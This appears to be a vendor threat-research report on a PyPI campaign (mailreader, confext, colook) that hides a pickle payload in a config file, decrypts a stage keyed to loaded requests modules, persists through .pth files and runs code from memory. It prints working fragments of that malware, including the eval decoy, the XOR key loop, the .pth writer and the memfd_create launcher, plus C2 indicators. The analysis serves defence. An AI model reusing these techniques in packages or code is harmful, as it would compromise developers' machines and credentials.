A working mail library, a second package from a second account, and a payload that only decrypts on a real developer's machine. Eight evasion layers, each aimed at a different security control.

On November 10, 2026, mailreader 2.7.1 appeared on PyPI. It parses messages, its public API works, and its name is generic. The malicious payload is hidden in its configuration file, while the code that loads it sits in its dependency, confext, published two weeks earlier by a separate account.
A sandbox that installs and imports mailreader on its own sees a configuration file load and nothing else. But when the targeted module from requests is already loaded in the Python process, the hidden payload decrypts and executes. We call this technique DevGating.
While we were preparing this report, the operator published mailreader 2.7.2 on December 1, 2026. The new version adds email attachment-saving functionality while retaining the same DevGating mechanism, persistence and C2 endpoint, with a minor modification to its Linux launcher.
The attacker put far more effort into avoiding detection than into the malicious code itself. We identified eight evasion layers, each aimed at a different security control.
Each layer below takes one security control out of play. Read top to bottom, they follow the attack from the registry page to the operator's server.

mailreader 2.7.1 does what its name says. It parses messages, and its public API works. Nothing in its own source calls exec, opens a socket or decodes base64. A reviewer skimming it on pypi.org sees a small, plausible utility.
The name is generic, not a typosquat of a famous library, so typosquat detectors have nothing to match. Download counts stay in the low hundreds, below the volume that draws attention.
Defeats: manual and AI-assisted code review and typosquat detection.

The only odd line in mailreader is a module-level call that loads a configuration through confext the moment the package is imported. Loading a config at import time is common. The malicious data ships in mailreader's own default.config, and the code that unpickles it ships in confext, published from a different account. confext has exactly one dependent: mailreader.
A scanner that looks at mailreader alone finds a config call. A scanner that looks at confext alone finds a config parser that unpickles whatever file its caller ships. Neither package holds the whole story. A takedown of one also leaves the other live, ready to pair with a new front.
# import mailreader → engine._ensure() → confext.config.load_config()
# confext/config.py, line 164
loaded = pickle.loads(blob) # the payload runs here
if not isinstance(loaded, dict): # checked only after it ran
raise ConfigLoadError(...)Defeats: registry scanners and SCA tools that score each package in isolation.

There is no malicious .py file in either wheel. The payload lives in default.config, 5,715 bytes that start with a checksum header and a length field, then zlib-compressed data. The header makes the file look like a real format, and it lets the loader quietly reject a corrupted copy, so a broken payload never throws a visible error.
Inside is a 12,051-byte pickle with only 15 instructions. Two of them matter: one fetches builtins.eval, the next calls it on a single string. confext does check the type of what it loaded, but only after pickle.loads has returned, when the code has already run.
# default.config after zlib, as pickletools lists it (abridged)
STACK_GLOBAL builtins.eval
BINUNICODE '[exec(b64decode("…")) or None, {…}][-1]'
TUPLE1
REDUCE # eval(string) runs during pickle.loadsA sister pair, colook and basic-crypt, goes a step further. It moves the payload out of Python into a compiled extension that runs the moment it is imported. There is no pickle left to find, only machine code inside a package that presents itself as an XOR helper.
Defeats: static analysis that parses source code, and rules that only look for pickles in files named .pkl, .pt or .bin.

The string eval runs is a decoy: [exec(...) or None, cfg][-1]. The exec runs the next stage and returns None, which is thrown away. The expression hands back cfg, a valid configuration dictionary. mailreader gets the settings it expects and keeps working.
[exec(b64decode("…")) or None,
{'parse_tables': True, 'strip_whitespace': True, 'encoding': 'utf-8',
'max_depth': 100, 'default_tag': 'div', …}][-1]
# exec runs the next stage; [-1] returns the real config dictEvery malicious branch ends in except: pass. If something fails, nothing is printed, logged or raised.
Defeats: functional and CI tests, crash and error telemetry, and the developer's own eyes.

The next stage is a 2,774-byte XOR ciphertext with no key next to it. The code walks sys.modules, the list of modules already loaded in the process, and takes the MD5 of each name written twice. It stops at the one whose hash matches 6a3221b95503aa1ac28f3469f9073016. That name, requests.packages.urllib3.util.connection, plus one byte derived from it, becomes the 42-byte XOR key.
def xor(data, key):
k = bytes([(key[0] + sum(key) // 2) % 256]) + key
return bytes(b ^ k[i % len(k)] for i, b in enumerate(data))
y = []
for n in sys.modules.keys():
if hashlib.md5((n * 2).encode()).hexdigest() == '6a3221b95503aa1ac28f3469f9073016':
y.append(n)
if y != []:
exec(xor(z, y[0].encode())) # z: the 2,774-byte ciphertextKeying a payload to the victim's environment is not new. MITRE tracks it as Execution Guardrails: Environmental Keying (T1480.001).What we have not seen documented before is where the key comes from: the victim's own loaded dependencies. We call this DevGating: the payload is encrypted with the developer's own dependencies as the key, so only a machine running a real project can open it. The key is never in the package.
Defeats: static analysis and point-in-time sandbox detonation.

Once decrypted, the stage drops a small package, py_log2, into site-packages, plus a one-line file, py_abi2-log.pth, that reads import py_log2. Python runs import lines in .pth files every time it starts.
p = site.getusersitepackages() # site-packages on Windows
# … writes p/py_log2/__init__.py and __cached__.py …
open(p + "/py_abi2-log.pth", "w").write("import py_log2")Nothing happens at install time, so there is no setup.py hook or post-install script to flag. And because the .pth file belongs to no package, pip uninstall mailreader removes the library and leaves the attacker's code running in every later Python process.
The compiled colook build, covered below, hides its persistence in plain sight. It writes its own copies of setuptools' _distutils_hack package and distutils-precedence.pth, the file setuptools uses to load that package in most Python environments. The names are real and most of the contents match. The only differences are a few lines added to the end of __init__.py and a new __base__.py beside it, which hold the loader.
The launcher keeps a low profile. It takes a lock file so only one copy runs per host, starts detached with no window and all output discarded, and names its script __cached__.py, after an attribute Python sets on every imported module.
Persistence and memory execution work together. Every time Python starts on that machine, the .pth file wakes the launcher, and the launcher runs the full in-memory chain from Layer 7 again. The payload never needs a place on disk to survive a reboot. What survives is a short launcher, and it holds no payload.
Defeats: install-hook monitoring, package-removal remediation, and process triage by name.

The stager picks the quietest launch each operating system allows.
On Linux the trick is memfd_create, a system call that makes an anonymous file that lives only in RAM. It has no name in any folder and never touches the disk. The stager copies the real python3 into one memory file, puts a 156-byte fetcher in a second, and starts the copy straight from memory. The fetcher pulls the operator's code and runs it in that process, so the final payload is never written anywhere either.
# s = sys.executable, x = the 156-byte fetcher
e, a = [f"/proc/self/fd/{os.memfd_create(''.join(random.choices('abfgh', k=7)), 0)}"
for _ in range(2)]
open(e, "wb").write(open(s, "rb").read()) # python3, copied into RAM
open(a, "wb").write(x) # the fetcher, also in RAM
if os.fork() != 0:
os.execve(e, [e, a], env) # run python3 from memoryFor traditional malware scanners that are built around files on disk, this chain gives them none to inspect:
This repeats on every Python start, so the attacker gets persistence without ever leaving the dangerous part on disk.
Defeats: file-based endpoint scanning, path allowlists and process-tree detection.

The final stage comes from a free JSON bin at api.npoint[.]io, a developer service behind Cloudflare. There is no attacker-owned domain to block or score. The traffic looks like an app reading its own config. The compiled colook build does the same with a Supabase edge function, another developer service with a clean reputation.
The bin decides what runs. Today it returns a placeholder loop that writes hello to a file every five seconds. Any analysis of the payload taken today shows a harmless test. A stub at this stage also fits an operator who is waiting for the install count to grow before arming the chain, since every new install stays silent until then. When the operator edits one JSON document, every machine that already ran the chain runs the new code on its next Python start.
The October waves show what that switch looks like after the fact. Both of their bins are still up. One returns hello, the other an empty string. A copy of the first bin captured by a public URL scanner in October shows what it served at the time: a remote-access trojan that sent its data to a Supabase edge function at frjmzbjbhwvtdnsuodmu[.]supabase[.]co. Since then the operator has replaced it with a stub, so anyone who checks the bin today sees nothing to analyze. The live mailreader bin already serves the same kind of stub.
Defeats: domain reputation, network blocklists, any verdict based on the payload seen at analysis time, and retrospective analysis of the C2 after the operator swaps it.

On November 16, 2026 we detonated mailreader 2.7.1 on Linux with requests imported first, the way a real developer process would load it. Every layer opened in order: the pickle called eval on import, the XOR stage decrypted, the .pth file landed, and on the next interpreter start the launcher opened two memory files, a 6,809,944-byte copy of python3 and a 156-byte fetcher, and ran Python from memory. The run produced 5,353 events over 191 seconds.

The evasion is careful. The operation behind it is not. The C2 bin is public, so anyone can read the next payload. The script the bin serves has Windows line endings, which points to an operator writing on Windows. The lock file and the .pth file stay on disk and are easy to hunt for. And the same two-package shape repeats in every wave.
The operator also leaked its build host. The colook source archive is 7.2 MB against an 11 KB wheel because it ships a whole Windows virtualenv. Its pyvenv.cfg names the user Samsung and the project path C:\Users\Samsung\Desktop\UIPackage, a workspace name that fits a production line of fake utility packages.
mailreader and confext are the newest pair in a campaign that has run on PyPI since September 25, 2026. Each wave pairs a front package with a helper. The first two hid a pickle in the front package and established persistence through a .pth file. The last two retained this persistence mechanism while introducing the host key and in-memory execution.
Wave 3 keeps the original split: mailreader ships default.config and confext holds only the loader. It brings the keyed chain from wave 2b back into pure Python, so there is no compiled module to reverse. Download counts come from pypistats, mirrors excluded, as of November 16, 2026.
The operator shipped four pairs in seven weeks. Each pair comes from two new accounts, and in three of the four the helper went up first. The first helper, pafer, went live on September 25, 2026, two weeks before its front package.
One day after the second pair went live, two new accounts created 80 minutes apart published colook 1.1.3, a working terminal-color library, and its helper basic-crypt. Reversing basic-crypt's compiled module ties the pair to the campaign. It uses the same keying technique, a key from the same requests module tree, the same in-memory execution routine and the same Spanish variable names. Its C2 and its hash are new, which fits an operator who burns infrastructure after every wave.
Importing colook calls basic-crypt, which imports a 68 KB compiled module, basic_crypt._native. The C source shipped beside it holds an XOR function and a CRC32 function and nothing else. The binary holds those two plus a dropper that runs the moment Python imports it:
This build hides more than mailreader does. The keyed logic sits in machine code instead of Python, the published source is a clean decoy, and the persistence uses file names a reviewer expects to see. colook also came before mailreader's pair, so the operator ran DevGating in compiled code first and shipped it in Python later.
Each account published exactly one project, so the accounts lead nowhere else.
The closest earlier case is ai-labs-snippets-sdk, which ReversingLabs reported in May 2025. It hid a pickle inside a PyTorch model file. It had no working cover, no key and no persistence, and it sent its data out on the first run. PyPI removed it within a day.
The people who install a small mail helper are backend developers wiring up an inbox integration, data engineers parsing exports, and automation builders writing support tooling. They work in exactly the processes DevGating wants: notebooks, web services and test runners that already import requests.
Every front package in the campaign is a small, generic developer utility: a web reader, a mail parser, a terminal-color library. None imitates a famous project, so the lure is a developer who searches PyPI for a quick helper and installs the first plausible result. The only payload seen so far, the remote-access trojan the October bin served, could give the operator a foothold on that developer's machine. From there the operator could reach source code, cloud credentials and CI.Who installed the current pair, and what the operator would send them, we have not seen.
The .pth file outlives the package. It runs in every later Python process on that interpreter, including CI jobs and services that hold cloud credentials, API tokens and source code. One developer trying a package on a laptop can hand the operator a lasting hook into everything they run after that.
Software supply chain security does not end when a package is installed. Organizations need continuous visibility into the dependencies introduced by developers and AI agents, alongside security controls that address the risks these packages pose throughout their lifecycle.
Every layer of mailreader is a data file or a script: a pickle posing as a config, a .pth file with one import line, a Python launcher named after a built-in attribute. None of it is a compiled binary, so tools built to judge executables have little to judge. Even the compiled colook build ends the same way, as Python files dropped into site-packages.
These are the files AI agents work with on a developer machine. A coding agent that runs pip install, imports a dependency or loads a project config executes them with the developer's access, in the same Python process DevGating is waiting for.
Island's agentic endpoint analyzes the non-binary artifacts on the endpoint that agents can act on, such as packages, scripts, configs and the files Python loads at startup, and flags the ones that are risky or malicious. Developers and their agents keep installing what they need. The package that hides its code in a settings file gets caught where it lands.
The attacker spent its effort on hiding and almost none on the payload. That order is the warning. Security tools that look at one package, one file or one moment in time can keep passing attacks like this. The machines it reaches are already enrolled, and the code they will run has not been written yet.
We ran only the Linux branch of mailreader. The macOS and Windows behavior comes from reading the code. We do not know who is behind the 137 downloads, or whether any ran with requests loaded. The link between the two PyPI accounts rests on the shared dependency and on the earlier waves, not on account data. colook and basic-crypt we analyzed statically, by decrypting the compiled module offline. We did not run them, we have not analyzed their Windows build, and we have not seen what their C2 serves.
The C2 content can change at any time. The bin ID and the file names are the stable indicators.